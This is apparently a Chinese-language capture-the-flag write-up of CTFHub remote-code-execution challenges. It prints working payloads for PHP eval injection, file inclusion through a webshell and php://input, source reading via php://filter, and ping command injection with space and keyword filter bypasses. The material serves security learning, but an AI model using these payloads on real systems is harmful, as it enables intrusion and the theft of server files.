CTFHUB RCE
eval执行
用法 ?cmd=system("cmd")
这样传入的字符串就会被解析成系统命令
尝试 "ls"发现index.php 进入下级目录没用
构造 "cd ../;ls"尝试多次发现 "cd ../../../;ls"后出现flag
用 cat命令获取即可
文件包含
开始没搞清楚题目在干什么。。。
题目提示本地(服务器)有一个shell.txt 文件是 一句话木马
可以将 ctfhub 参数作为系统命令来执行
所以 ?file=shell.txt&ctfhub=system("cmd")
还是 cd ../../../;cat flag; 即可
php://input
php://input的作用:将POST传入的数据按照php代码来执行
所以我们构造
?file=php://input 然后用burpsuite抓包
更改请求方式 POST中直接写
<?php @eval(system("cd ../../../;ls;"))>
然后把POST的请求头改一下 补上 ?file=php://input(不知道为什么hackbar POST老是出问题)
即可获得flag{}了
读取源代码
最熟悉的php伪协议了
构造:
?file=php://filter/convert.base64-encode/resource=/flag
再将显示内容 base64解码即可获得flag{}
远程包含
1.php://input
不得不说 php://input 真好用
直接 POST一个
<?php @eval(system("cd ../../../;cat flag;")); ?>
即可
2.远程包含
但是怎么解析到我的本地文件呢?有的说用VPS 但是好像不是免费注册的吧... 先放着吧 日后补
命令注入
很基本的 Linux下的ping 结合 | 与其他命令一起注入
上级目录找了半天没找到 结果就在这一层。。。
有个
一个很怪异的 .php
cat 打开后返回值也是空白
在源码一看 就能看到flag{}了
过滤cat
Linux下的常用文件查看命令:
所以我们直接用 less命令即可
过滤空格
Linux下可以用
1.
$IFS$9 来绕过空格
构造
?ip=127.0.0.1|(cat$IFS$9flag_1876322914902.php)
即可
2.
还可以用 < 来绕过
构造
?ip=127.0.0.1|(cat<flag_1876322914902.php)
即可
过滤目录分隔符
属实没搞懂这个题关目录分隔符什么事...
直接 ls cd cat jike
过滤运算符
不用 | 连接即可 ping就ping吧 不影响后续命令的执行
综合过滤练习
有点复杂 日后补